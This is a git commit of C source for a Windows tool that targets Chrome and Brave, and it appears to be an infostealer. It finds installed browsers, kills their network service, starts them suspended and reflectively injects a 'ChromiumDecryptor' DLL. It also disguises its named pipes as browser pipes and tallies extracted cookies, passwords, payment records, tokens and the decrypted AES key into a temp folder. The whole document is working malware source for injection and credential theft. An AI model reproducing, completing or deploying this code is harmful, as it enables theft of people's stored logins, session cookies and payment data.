initial commit

This commit is contained in:
i2p
2026-08-27 11:22:14 -06:00
commit ec0f5dc87a
56 changed files with 284773 additions and 0 deletions
+24
View File
@@ -0,0 +1,24 @@
#ifndef BROWSER_RESOLVER_H
#define BROWSER_RESOLVER_H
#include "types.h"
typedef struct {
wchar_t browser_id[64];
wchar_t exe_path[MAX_PATH_LEN];
} BrowserInfo;
typedef struct {
BrowserInfo* items;
size_t count;
size_t capacity;
} BrowserList;
BrowserList* browser_list_create(void);
void browser_list_destroy(BrowserList* list);
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path);
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len);
BrowserList* browser_find_all_installed(void);
#endif // BROWSER_RESOLVER_H
+8
View File
@@ -0,0 +1,8 @@
#ifndef INJECTION_MANAGER_H
#define INJECTION_MANAGER_H
#include "types.h"
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name);
#endif // INJECTION_MANAGER_H
+12
View File
@@ -0,0 +1,12 @@
#ifndef PIPE_COMMUNICATOR_H
#define PIPE_COMMUNICATOR_H
#include "types.h"
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name);
void pipe_destroy(PipeCommunicator* comm);
bool pipe_wait_for_client(PipeCommunicator* comm);
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path);
bool pipe_relay_messages(PipeCommunicator* comm);
#endif // PIPE_COMMUNICATOR_H
+11
View File
@@ -0,0 +1,11 @@
#ifndef TARGET_PROCESS_H
#define TARGET_PROCESS_H
#include "types.h"
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path);
void target_terminate(TargetProcess* target);
void target_cleanup(TargetProcess* target);
bool target_kill_network_service(const wchar_t* process_name);
#endif // TARGET_PROCESS_H
+49
View File
@@ -0,0 +1,49 @@
#ifndef INJECTOR_TYPES_H
#define INJECTOR_TYPES_H
#include <Windows.h>
#include <stdbool.h>
#include <stdint.h>
#define MAX_PATH_LEN 512
#define DLL_COMPLETION_TIMEOUT_MS 60000
#define PIPE_TIMEOUT_MS 10000
typedef struct {
bool verbose;
bool extract_fingerprint;
wchar_t output_path[MAX_PATH_LEN];
wchar_t browser_type[64];
wchar_t browser_process_name[64];
wchar_t browser_exe_path[MAX_PATH_LEN];
char browser_display_name[64];
} InjectorConfig;
typedef struct {
int total_cookies;
int total_passwords;
int total_payments;
int total_tokens;
int profile_count;
char aes_key[256];
} ExtractionStats;
typedef struct {
HANDLE process;
HANDLE thread;
DWORD pid;
USHORT arch;
} TargetProcess;
typedef struct {
HANDLE pipe;
wchar_t pipe_name[256];
ExtractionStats stats;
} PipeCommunicator;
typedef struct {
uint8_t* data;
size_t size;
} DllPayload;
#endif // INJECTOR_TYPES_H
+10
View File
@@ -0,0 +1,10 @@
#ifndef INJECTOR_UTILS_H
#define INJECTOR_UTILS_H
#include "types.h"
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len);
bool create_directory_recursive(const wchar_t* path);
bool file_exists(const wchar_t* path);
#endif // INJECTOR_UTILS_H
+124
View File
@@ -0,0 +1,124 @@
#include "browser_resolver.h"
#include "utils.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
BrowserList* browser_list_create(void) {
BrowserList* list = malloc(sizeof(BrowserList));
if (!list) return NULL;
list->items = malloc(sizeof(BrowserInfo) * 4);
if (!list->items) {
free(list);
return NULL;
}
list->count = 0;
list->capacity = 4;
return list;
}
void browser_list_destroy(BrowserList* list) {
if (!list) return;
free(list->items);
free(list);
}
bool browser_list_add(BrowserList* list, const wchar_t* id, const wchar_t* path) {
if (!list || !id || !path) return false;
if (list->count >= list->capacity) {
size_t new_cap = list->capacity * 2;
BrowserInfo* new_items = realloc(list->items, sizeof(BrowserInfo) * new_cap);
if (!new_items) return false;
list->items = new_items;
list->capacity = new_cap;
}
wcsncpy_s(list->items[list->count].browser_id, 64, id, _TRUNCATE);
wcsncpy_s(list->items[list->count].exe_path, MAX_PATH_LEN, path, _TRUNCATE);
list->count++;
return true;
}
static bool query_registry_value(HKEY root, const wchar_t* subkey, wchar_t* out, size_t len) {
wchar_t buffer[MAX_PATH];
DWORD buffer_size = sizeof(buffer);
LSTATUS status = RegGetValueW(root, subkey, NULL,
RRF_RT_REG_SZ | RRF_RT_REG_EXPAND_SZ,
NULL, buffer, &buffer_size);
if (status == ERROR_SUCCESS) {
wcsncpy_s(out, len, buffer, _TRUNCATE);
return true;
}
if (status == ERROR_MORE_DATA) {
wchar_t* long_buffer = malloc(buffer_size);
if (!long_buffer) return false;
status = RegGetValueW(root, subkey, NULL,
RRF_RT_REG_SZ | RRF_RT_REG_EXPAND_SZ,
NULL, long_buffer, &buffer_size);
if (status == ERROR_SUCCESS) {
wcsncpy_s(out, len, long_buffer, _TRUNCATE);
free(long_buffer);
return true;
}
free(long_buffer);
}
return false;
}
bool browser_resolve_path(const wchar_t* exe_name, wchar_t* out_path, size_t len) {
if (!exe_name || !out_path) return false;
wchar_t subkey[512];
const struct {
HKEY root;
const wchar_t* base_path;
} locations[] = {
{ HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" },
{ HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" },
{ HKEY_LOCAL_MACHINE, L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" }
};
for (size_t i = 0; i < sizeof(locations) / sizeof(locations[0]); i++) {
swprintf_s(subkey, 512, L"%s%s", locations[i].base_path, exe_name);
if (query_registry_value(locations[i].root, subkey, out_path, len)) {
if (file_exists(out_path)) {
return true;
}
}
}
return false;
}
BrowserList* browser_find_all_installed(void) {
BrowserList* list = browser_list_create();
if (!list) return NULL;
const struct {
const wchar_t* id;
const wchar_t* exe;
} targets[] = {
{ L"chrome", L"chrome.exe" },
{ L"brave", L"brave.exe" }
};
for (size_t i = 0; i < sizeof(targets) / sizeof(targets[0]); i++) {
wchar_t path[MAX_PATH_LEN];
if (browser_resolve_path(targets[i].exe, path, MAX_PATH_LEN)) {
browser_list_add(list, targets[i].id, path);
}
}
return list;
}
+162
View File
@@ -0,0 +1,162 @@
#include "injection_manager.h"
#include <string.h>
static bool load_dll_payload(DllPayload* payload) {
if (!payload) return false;
HANDLE file = CreateFileW(L"ChromiumDecryptor.dll", GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE) return false;
DWORD file_size = GetFileSize(file, NULL);
if (file_size == 0 || file_size == INVALID_FILE_SIZE) {
CloseHandle(file);
return false;
}
payload->data = malloc(file_size);
if (!payload->data) {
CloseHandle(file);
return false;
}
DWORD bytes_read = 0;
if (!ReadFile(file, payload->data, file_size, &bytes_read, NULL) ||
bytes_read != file_size) {
free(payload->data);
CloseHandle(file);
return false;
}
payload->size = file_size;
CloseHandle(file);
return true;
}
static void free_dll_payload(DllPayload* payload) {
if (payload && payload->data) {
free(payload->data);
payload->data = NULL;
payload->size = 0;
}
}
static DWORD rva_to_file_offset(PIMAGE_NT_HEADERS nt_headers, DWORD rva, uint8_t* base) {
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt_headers);
for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; i++, section++) {
if (rva >= section->VirtualAddress &&
rva < section->VirtualAddress + section->Misc.VirtualSize) {
return section->PointerToRawData + (rva - section->VirtualAddress);
}
}
return 0;
}
static DWORD get_reflective_loader_offset(DllPayload* payload) {
if (!payload || !payload->data) return 0;
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)payload->data;
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) return 0;
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)(payload->data + dos_header->e_lfanew);
if (nt_headers->Signature != IMAGE_NT_SIGNATURE) return 0;
DWORD export_rva = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (export_rva == 0) return 0;
DWORD export_offset = rva_to_file_offset(nt_headers, export_rva, payload->data);
if (export_offset == 0) return 0;
PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)(payload->data + export_offset);
DWORD names_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNames, payload->data);
DWORD ordinals_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfNameOrdinals, payload->data);
DWORD functions_offset = rva_to_file_offset(nt_headers, export_dir->AddressOfFunctions, payload->data);
if (!names_offset || !ordinals_offset || !functions_offset) return 0;
DWORD* names = (DWORD*)(payload->data + names_offset);
WORD* ordinals = (WORD*)(payload->data + ordinals_offset);
DWORD* functions = (DWORD*)(payload->data + functions_offset);
for (DWORD i = 0; i < export_dir->NumberOfNames; i++) {
DWORD name_offset = rva_to_file_offset(nt_headers, names[i], payload->data);
if (!name_offset) continue;
char* func_name = (char*)(payload->data + name_offset);
if (strcmp(func_name, "ReflectiveLoader") == 0) {
DWORD func_rva = functions[ordinals[i]];
DWORD func_offset = rva_to_file_offset(nt_headers, func_rva, payload->data);
return func_offset;
}
}
return 0;
}
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name) {
if (!target || !target->process || !pipe_name) return false;
DllPayload payload = { 0 };
if (!load_dll_payload(&payload)) return false;
DWORD rdi_offset = get_reflective_loader_offset(&payload);
if (rdi_offset == 0) {
free_dll_payload(&payload);
return false;
}
SIZE_T pipe_name_size = (wcslen(pipe_name) + 1) * sizeof(wchar_t);
SIZE_T total_size = payload.size + pipe_name_size;
LPVOID remote_base = VirtualAllocEx(target->process, NULL, total_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remote_base) {
free_dll_payload(&payload);
return false;
}
SIZE_T bytes_written = 0;
if (!WriteProcessMemory(target->process, remote_base, payload.data,
payload.size, &bytes_written) ||
bytes_written != payload.size) {
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
free_dll_payload(&payload);
return false;
}
LPVOID remote_pipe_name = (LPBYTE)remote_base + payload.size;
if (!WriteProcessMemory(target->process, remote_pipe_name, pipe_name,
pipe_name_size, &bytes_written) ||
bytes_written != pipe_name_size) {
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
free_dll_payload(&payload);
return false;
}
DWORD old_protect = 0;
if (!VirtualProtectEx(target->process, remote_base, total_size,
PAGE_EXECUTE_READ, &old_protect)) {
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
free_dll_payload(&payload);
return false;
}
LPTHREAD_START_ROUTINE entry_point = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remote_base + rdi_offset);
HANDLE remote_thread = CreateRemoteThread(target->process, NULL, 0, entry_point, remote_pipe_name, 0, NULL);
free_dll_payload(&payload);
if (!remote_thread) {
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
return false;
}
CloseHandle(remote_thread);
return true;
}
+150
View File
@@ -0,0 +1,150 @@
#include "types.h"
#include "utils.h"
#include "browser_resolver.h"
#include "target_process.h"
#include "pipe_communicator.h"
#include "injection_manager.h"
#include <time.h>
#include <string.h>
#include <stdio.h>
static void init_browser_config(InjectorConfig* config, const wchar_t* browser_id, const wchar_t* browser_path) {
wcsncpy_s(config->browser_type, 64, browser_id, _TRUNCATE);
wcsncpy_s(config->browser_exe_path, MAX_PATH_LEN, browser_path, _TRUNCATE);
if (wcscmp(browser_id, L"chrome") == 0) {
wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
strcpy_s(config->browser_display_name, 64, "Chrome");
}
else if (wcscmp(browser_id, L"brave") == 0) {
wcsncpy_s(config->browser_process_name, 64, L"brave.exe", _TRUNCATE);
strcpy_s(config->browser_display_name, 64, "Brave");
}
else {
wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
strcpy_s(config->browser_display_name, 64, "Unknown");
}
}
static bool validate_config(InjectorConfig* config) {
if (!config) return false;
if (config->browser_exe_path[0] == L'\0') return false;
if (!file_exists(config->browser_exe_path)) return false;
if (!create_directory_recursive(config->output_path)) return false;
return true;
}
static bool run_injection_workflow(InjectorConfig* config, ExtractionStats* stats) {
if (!config || !stats) return false;
memset(stats, 0, sizeof(ExtractionStats));
target_kill_network_service(config->browser_process_name);
TargetProcess target = { 0 };
if (!target_create_suspended(&target, config->browser_exe_path)) {
return false;
}
wchar_t pipe_name[256];
if (!generate_browser_mimic_pipe_name(config->browser_type, pipe_name, 256)) {
target_cleanup(&target);
return false;
}
PipeCommunicator pipe = { 0 };
if (!pipe_create(&pipe, pipe_name)) {
target_cleanup(&target);
return false;
}
if (!injection_execute(&target, pipe_name)) {
pipe_destroy(&pipe);
target_terminate(&target);
target_cleanup(&target);
return false;
}
bool success = false;
if (pipe_wait_for_client(&pipe)) {
if (pipe_send_initial_data(&pipe, config->verbose,
config->extract_fingerprint,
config->output_path)) {
success = pipe_relay_messages(&pipe);
*stats = pipe.stats;
}
}
pipe_destroy(&pipe);
target_terminate(&target);
target_cleanup(&target);
return success;
}
static void process_all_browsers(bool verbose, bool extract_fingerprint, const wchar_t* output_path) {
BrowserList* browsers = browser_find_all_installed();
if (!browsers || browsers->count == 0) {
if (browsers) browser_list_destroy(browsers);
return;
}
for (size_t i = 0; i < browsers->count; i++) {
InjectorConfig config = { 0 };
config.verbose = verbose;
config.extract_fingerprint = extract_fingerprint;
wcsncpy_s(config.output_path, MAX_PATH_LEN, output_path, _TRUNCATE);
init_browser_config(&config,
browsers->items[i].browser_id,
browsers->items[i].exe_path);
if (!validate_config(&config)) {
continue;
}
#ifdef _DEBUG
printf("Processing %s\n", config.browser_display_name);
#endif
ExtractionStats stats = { 0 };
bool res = run_injection_workflow(&config, &stats);
#ifdef _DEBUG
if (res) {
printf("Profiles: %d\n", stats.profile_count);
printf("Cookies: %d\n", stats.total_cookies);
printf("Passwords: %d\n", stats.total_passwords);
printf("Payments: %d\n", stats.total_payments);
printf("Tokens: %d\n", stats.total_tokens);
if (stats.aes_key[0]) {
printf("AES Key: %s\n", stats.aes_key);
}
}
else {
printf("Failed\n");
}
printf("\n");
#endif
}
browser_list_destroy(browsers);
}
int main() {
srand((unsigned int)time(NULL));
wchar_t tmp_path[MAX_PATH];
GetEnvironmentVariableW(L"TEMP", tmp_path, MAX_PATH);
wchar_t output_path[MAX_PATH_LEN];
swprintf_s(output_path, MAX_PATH_LEN, L"%ls\\Log", tmp_path);
if (!CreateDirectoryW(output_path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
return 1;
}
process_all_browsers(true, true, output_path);
}
+199
View File
@@ -0,0 +1,199 @@
#include "pipe_communicator.h"
#include <string.h>
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name) {
if (!comm || !pipe_name) return false;
memset(comm, 0, sizeof(PipeCommunicator));
wcsncpy_s(comm->pipe_name, 256, pipe_name, _TRUNCATE);
comm->pipe = CreateNamedPipeW(
pipe_name,
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 4096, 4096, 0, NULL
);
return comm->pipe != INVALID_HANDLE_VALUE;
}
void pipe_destroy(PipeCommunicator* comm) {
if (!comm) return;
if (comm->pipe && comm->pipe != INVALID_HANDLE_VALUE) {
CloseHandle(comm->pipe);
comm->pipe = INVALID_HANDLE_VALUE;
}
}
bool pipe_wait_for_client(PipeCommunicator* comm) {
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
OVERLAPPED overlapped = { 0 };
overlapped.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!overlapped.hEvent) return false;
BOOL connected = ConnectNamedPipe(comm->pipe, &overlapped);
DWORD last_error = GetLastError();
if (!connected && last_error == ERROR_IO_PENDING) {
DWORD wait_result = WaitForSingleObject(overlapped.hEvent, PIPE_TIMEOUT_MS);
CloseHandle(overlapped.hEvent);
if (wait_result != WAIT_OBJECT_0) {
CancelIo(comm->pipe);
return false;
}
}
else if (!connected && last_error != ERROR_PIPE_CONNECTED) {
CloseHandle(overlapped.hEvent);
return false;
}
else {
CloseHandle(overlapped.hEvent);
}
Sleep(200);
return true;
}
static bool pipe_write_message(PipeCommunicator* comm, const char* msg) {
if (!comm || !msg) return false;
DWORD bytes_written = 0;
size_t msg_len = strlen(msg) + 1;
return WriteFile(comm->pipe, msg, (DWORD)msg_len, &bytes_written, NULL) &&
bytes_written == msg_len;
}
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path) {
if (!comm || !output_path) return false;
if (!pipe_write_message(comm, verbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE")) return false;
Sleep(10);
if (!pipe_write_message(comm, fingerprint ? "FINGERPRINT_TRUE" : "FINGERPRINT_FALSE")) return false;
Sleep(10);
char path_utf8[MAX_PATH_LEN * 3];
WideCharToMultiByte(CP_UTF8, 0, output_path, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
if (!pipe_write_message(comm, path_utf8)) return false;
Sleep(10);
return true;
}
static int extract_number_from_message(const char* message, const char* prefix, const char* suffix) {
const char* start = strstr(message, prefix);
if (!start) return 0;
start += strlen(prefix);
const char* end = strstr(start, suffix);
if (!end) end = start + strlen(start);
char num_str[32];
size_t len = end - start;
if (len >= sizeof(num_str)) len = sizeof(num_str) - 1;
memcpy(num_str, start, len);
num_str[len] = '\0';
return atoi(num_str);
}
static void parse_extraction_message(PipeCommunicator* comm, const char* message) {
if (!comm || !message) return;
if (strstr(message, "Found ") && strstr(message, "profile(s)")) {
comm->stats.profile_count = extract_number_from_message(message, "Found ", " profile(s)");
}
if (strstr(message, "Decrypted AES Key: ")) {
const char* key_start = strstr(message, "Decrypted AES Key: ") + 19;
strncpy_s(comm->stats.aes_key, sizeof(comm->stats.aes_key), key_start, _TRUNCATE);
}
if (strstr(message, " cookies extracted to ")) {
comm->stats.total_cookies += extract_number_from_message(message, "[*] ", " cookies");
}
if (strstr(message, " passwords extracted to ")) {
comm->stats.total_passwords += extract_number_from_message(message, "[*] ", " passwords");
}
if (strstr(message, " payments extracted to ")) {
comm->stats.total_payments += extract_number_from_message(message, "[*] ", " payments");
}
if (strstr(message, " tokens extracted to ")) {
comm->stats.total_tokens += extract_number_from_message(message, "[*] ", " tokens");
}
}
bool pipe_relay_messages(PipeCommunicator* comm) {
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
const char* completion_signal = "__DLL_PIPE_COMPLETION_SIGNAL__";
DWORD start_time = GetTickCount();
char accumulated[8192] = { 0 };
size_t accumulated_len = 0;
char buffer[4096];
bool completed = false;
while (!completed && (GetTickCount() - start_time < DLL_COMPLETION_TIMEOUT_MS)) {
DWORD bytes_available = 0;
if (!PeekNamedPipe(comm->pipe, NULL, 0, NULL, &bytes_available, NULL)) {
if (GetLastError() == ERROR_BROKEN_PIPE)
break;
break;
}
if (bytes_available == 0) {
Sleep(100);
continue;
}
DWORD bytes_read = 0;
if (!ReadFile(comm->pipe, buffer, sizeof(buffer) - 1, &bytes_read, NULL) || bytes_read == 0) {
if (GetLastError() == ERROR_BROKEN_PIPE) break;
continue;
}
if (accumulated_len + bytes_read < sizeof(accumulated)) {
memcpy(accumulated + accumulated_len, buffer, bytes_read);
accumulated_len += bytes_read;
}
size_t pos = 0;
while (pos < accumulated_len) {
size_t msg_len = strlen(accumulated + pos);
if (msg_len == 0 || pos + msg_len >= accumulated_len)
break;
char* message = accumulated + pos;
if (strcmp(message, completion_signal) == 0) {
completed = true;
break;
}
parse_extraction_message(comm, message);
pos += msg_len + 1;
}
if (completed)
break;
if (pos > 0 && pos < accumulated_len) {
memmove(accumulated, accumulated + pos, accumulated_len - pos);
accumulated_len -= pos;
}
else if (pos >= accumulated_len) {
accumulated_len = 0;
}
}
return completed;
}
+231
View File
@@ -0,0 +1,231 @@
#include "target_process.h"
#include <winternl.h>
#include <string.h>
typedef NTSTATUS(NTAPI* NtGetNextProcess_t)(
HANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
ULONG HandleAttributes,
ULONG Flags,
PHANDLE NewProcessHandle
);
typedef NTSTATUS(NTAPI* NtQueryInformationProcess_t)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(NTAPI* NtReadVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T BufferSize,
PSIZE_T NumberOfBytesRead
);
typedef NTSTATUS(NTAPI* NtTerminateProcess_t)(
HANDLE ProcessHandle,
NTSTATUS ExitStatus
);
typedef BOOL(WINAPI* IsWow64Process2_t)(HANDLE, USHORT*, USHORT*);
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
static bool check_architecture(TargetProcess* target) {
if (!target || !target->process) return false;
HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");
if (!kernel32) return false;
IsWow64Process2_t fnIsWow64Process2 =
(IsWow64Process2_t)GetProcAddress(kernel32, "IsWow64Process2");
if (!fnIsWow64Process2) {
BOOL is_wow64 = FALSE;
if (IsWow64Process(target->process, &is_wow64)) {
target->arch = is_wow64 ? IMAGE_FILE_MACHINE_I386 : IMAGE_FILE_MACHINE_AMD64;
return true;
}
return false;
}
USHORT process_arch = 0, native_machine = 0;
if (!fnIsWow64Process2(target->process, &process_arch, &native_machine)) {
return false;
}
target->arch = (process_arch == IMAGE_FILE_MACHINE_UNKNOWN) ?
native_machine : process_arch;
USHORT injector_arch =
#if defined(_M_X64)
IMAGE_FILE_MACHINE_AMD64;
#elif defined(_M_ARM64)
IMAGE_FILE_MACHINE_ARM64;
#elif defined(_M_IX86)
IMAGE_FILE_MACHINE_I386;
#else
IMAGE_FILE_MACHINE_UNKNOWN;
#endif
return target->arch == injector_arch;
}
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path) {
if (!target || !exe_path) return false;
memset(target, 0, sizeof(TargetProcess));
STARTUPINFOW si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);
if (!CreateProcessW(exe_path, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
return false;
}
target->process = pi.hProcess;
target->thread = pi.hThread;
target->pid = pi.dwProcessId;
if (!check_architecture(target)) {
target_cleanup(target);
return false;
}
return true;
}
void target_terminate(TargetProcess* target) {
if (!target || !target->process) return;
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (ntdll) {
NtTerminateProcess_t pNtTerminateProcess =
(NtTerminateProcess_t)GetProcAddress(ntdll, "NtTerminateProcess");
if (pNtTerminateProcess) {
pNtTerminateProcess(target->process, 0);
}
}
else {
TerminateProcess(target->process, 0);
}
WaitForSingleObject(target->process, 2000);
}
void target_cleanup(TargetProcess* target) {
if (!target) return;
if (target->thread) {
CloseHandle(target->thread);
target->thread = NULL;
}
if (target->process) {
CloseHandle(target->process);
target->process = NULL;
}
}
bool target_kill_network_service(const wchar_t* process_name) {
if (!process_name) return false;
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) return false;
NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t)GetProcAddress(ntdll, "NtGetNextProcess");
NtQueryInformationProcess_t pNtQueryInformationProcess = (NtQueryInformationProcess_t)GetProcAddress(ntdll, "NtQueryInformationProcess");
NtReadVirtualMemory_t pNtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(ntdll, "NtReadVirtualMemory");
NtTerminateProcess_t pNtTerminateProcess = (NtTerminateProcess_t)GetProcAddress(ntdll, "NtTerminateProcess");
if (!pNtGetNextProcess || !pNtQueryInformationProcess ||
!pNtReadVirtualMemory || !pNtTerminateProcess) {
return false;
}
HANDLE current_process = NULL;
bool found = false;
while (true) {
HANDLE next_process = NULL;
NTSTATUS status = pNtGetNextProcess(current_process, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &next_process);
if (current_process) {
CloseHandle(current_process);
current_process = NULL;
}
if (!NT_SUCCESS(status)) break;
current_process = next_process;
BYTE buffer[sizeof(UNICODE_STRING) + MAX_PATH * 2];
PUNICODE_STRING image_name = (PUNICODE_STRING)buffer;
status = pNtQueryInformationProcess(current_process, ProcessImageFileName, image_name, sizeof(buffer), NULL);
if (!NT_SUCCESS(status) || image_name->Length == 0) continue;
wchar_t* filename = image_name->Buffer;
for (wchar_t* p = image_name->Buffer + (image_name->Length / sizeof(wchar_t)) - 1; p > image_name->Buffer; p--) {
if (*p == L'\\' || *p == L'/') {
filename = p + 1;
break;
}
}
if (_wcsicmp(filename, process_name) != 0) continue;
PROCESS_BASIC_INFORMATION pbi = { 0 };
status = pNtQueryInformationProcess(current_process, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status) || !pbi.PebBaseAddress) continue;
PEB peb = { 0 };
SIZE_T bytes_read = 0;
status = pNtReadVirtualMemory(current_process, pbi.PebBaseAddress, &peb, sizeof(peb), &bytes_read);
if (!NT_SUCCESS(status)) continue;
RTL_USER_PROCESS_PARAMETERS params = { 0 };
status = pNtReadVirtualMemory(current_process, peb.ProcessParameters, &params, sizeof(params), &bytes_read);
if (!NT_SUCCESS(status)) continue;
if (params.CommandLine.Length > 0) {
wchar_t* cmd_line = malloc(params.CommandLine.Length + sizeof(wchar_t));
if (cmd_line) {
memset(cmd_line, 0, params.CommandLine.Length + sizeof(wchar_t));
status = pNtReadVirtualMemory(
current_process,
params.CommandLine.Buffer,
cmd_line,
params.CommandLine.Length,
&bytes_read
);
if (NT_SUCCESS(status)) {
if (wcsstr(cmd_line, L"--utility-sub-type=network.mojom.NetworkService")) {
pNtTerminateProcess(current_process, 0);
found = true;
}
}
free(cmd_line);
}
}
}
if (current_process) {
CloseHandle(current_process);
}
return true;
}
+93
View File
@@ -0,0 +1,93 @@
#include "utils.h"
#include <stdio.h>
#include <ctype.h>
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len) {
if (!browser_type || !pipe_name) return false;
DWORD pid = GetCurrentProcessId();
DWORD tid = GetCurrentThreadId();
DWORD tick = GetTickCount();
DWORD id1 = (pid ^ tick) & 0xFFFF;
DWORD id2 = (tid ^ (tick >> 16)) & 0xFFFF;
DWORD id3 = ((pid << 8) ^ tid) & 0xFFFF;
wchar_t browser_lower[64];
wcsncpy_s(browser_lower, 64, browser_type, _TRUNCATE);
for (wchar_t* p = browser_lower; *p; p++) {
*p = towlower(*p);
}
if (wcscmp(browser_lower, L"chrome") == 0) {
const wchar_t* patterns[] = {
L"\\\\.\\pipe\\chrome.sync.%u.%u.%04X",
L"\\\\.\\pipe\\chrome.nacl.%u_%04X",
L"\\\\.\\pipe\\mojo.%u.%u.%04X.chrome"
};
int idx = (id1 + id2) % 3;
if (idx == 1) {
swprintf_s(pipe_name, len, patterns[idx], id1, id3);
}
else {
swprintf_s(pipe_name, len, patterns[idx], id1, id2, id3);
}
}
else if (wcscmp(browser_lower, L"brave") == 0) {
const wchar_t* patterns[] = {
L"\\\\.\\pipe\\brave.sync.%u.%u",
L"\\\\.\\pipe\\mojo.%u.%u.brave",
L"\\\\.\\pipe\\brave.crashpad_%u"
};
int idx = id3 % 3;
if (idx == 2) {
swprintf_s(pipe_name, len, patterns[idx], id1);
}
else {
swprintf_s(pipe_name, len, patterns[idx], id1, id2);
}
}
else {
swprintf_s(pipe_name, len, L"\\\\.\\pipe\\chromium.ipc.%u.%u", id1, id2);
}
return true;
}
bool create_directory_recursive(const wchar_t* path) {
if (!path) return false;
wchar_t temp[MAX_PATH_LEN];
wcsncpy_s(temp, MAX_PATH_LEN, path, _TRUNCATE);
for (wchar_t* p = temp; *p; p++) {
if (*p == L'/' || *p == L'\\') {
wchar_t saved = *p;
*p = L'\0';
DWORD attrs = GetFileAttributesW(temp);
if (attrs == INVALID_FILE_ATTRIBUTES) {
if (!CreateDirectoryW(temp, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
return false;
}
}
*p = saved;
}
}
DWORD attrs = GetFileAttributesW(temp);
if (attrs == INVALID_FILE_ATTRIBUTES) {
return CreateDirectoryW(temp, NULL) || GetLastError() == ERROR_ALREADY_EXISTS;
}
return true;
}
bool file_exists(const wchar_t* path) {
if (!path) return false;
DWORD attrs = GetFileAttributesW(path);
return (attrs != INVALID_FILE_ATTRIBUTES && !(attrs & FILE_ATTRIBUTE_DIRECTORY));
}